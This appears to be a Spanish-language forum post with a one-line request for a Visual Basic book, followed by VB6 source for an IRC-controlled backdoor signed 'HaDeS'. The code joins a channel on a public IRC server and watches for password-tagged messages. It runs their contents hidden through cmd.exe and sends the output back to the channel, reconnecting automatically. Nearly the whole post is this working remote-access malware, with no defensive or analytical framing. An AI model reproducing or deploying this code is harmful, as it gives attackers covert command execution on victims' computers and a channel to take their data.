Alguien podria decirme un buen libro con buenas explicaciones de vb y programacion con windows.
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim ruta
Private Sub Form_Load()
Winsock1.RemotePort = "6667"
Winsock1.RemoteHost = "libres.irc-hispano.org"
Winsock1.Connect
End Sub
Private Sub Timer1_Timer()
'------------------------------------------------
'ABRIMOS EL ARCHIVO Y VAMOS ENVIANDO LINEA POR LINEA
Dim comando As String
Dim a() As String
Dim i As Integer
Open "c:\pas" For Input As #1
comando = Input(LOF(1), #1)
Close #1
a = Split(comando, vbNewLine)
For i = LBound(a) To UBound(a)
Winsock1.SendData "PRIVMSG #123456789 :" + a(i) + vbCrLf
Espera (4000)
Text1.Text = a(i)
Next i
Timer1 = False
End Sub
Private Sub Timer2_Timer()
Winsock1.RemotePort = "6667"
Winsock1.RemoteHost = "libres.irc-hispano.org"
Winsock1.Connect
End Sub
Private Sub Winsock1_Close()
Timer2 = True
End Sub
Private Sub Winsock1_Connect()
Winsock1.SendData "NICK toni12883" & vbCrLf
Winsock1.SendData "USER antonio antonio antonio antonio antonio" & vbCrLf
Timer2 = False
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim data As String
Dim data1
Dim data2
Dim data3
Dim c
ruta = "C:\"
'-------------------------------------------------
Winsock1.GetData data
'--------------------------------------------------
'PING? PONG!
If InStr(data, "PING") = 1 Then
Winsock1.SendData "PONG " & Split(data, " ")(1)
Winsock1.SendData "join #123456789" & vbCrLf
End If
'-----------------------------------------------
'COMPRUEVA LA CONTRASEÑA Y COGE EL COMANDO
data1 = InStr(data, "1983")
data2 = Mid(data, data1, 4)
If data2 = "1983" Then
data2 = Mid(data, data1, 999999)
data3 = data2
data1 = InStr(data3, " ")
data2 = Mid(data3, data1, 999999)
data3 = data2
'------------------------------------------
'ELIMINANDO EL SALTO DE LINEA
c = InStr(data3, vbNewLine)
c = c - 1
data3 = Left(data3, c)
'-------------------------------------------
'EJECUTA EL COMANDO CMD
Shell "cmd.exe /c " & data3 & " > c:\pas", vbHide
Timer1 = True
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Timer2 = True
End Sub
'----------------------------------------------------
'MADE IN HaDeS
Sub Espera(Tiempo&)
Dim cont&
cont = 1
While (cont <= Tiempo)
Sleep 1
DoEvents
cont = cont + 20
Wend
End Sub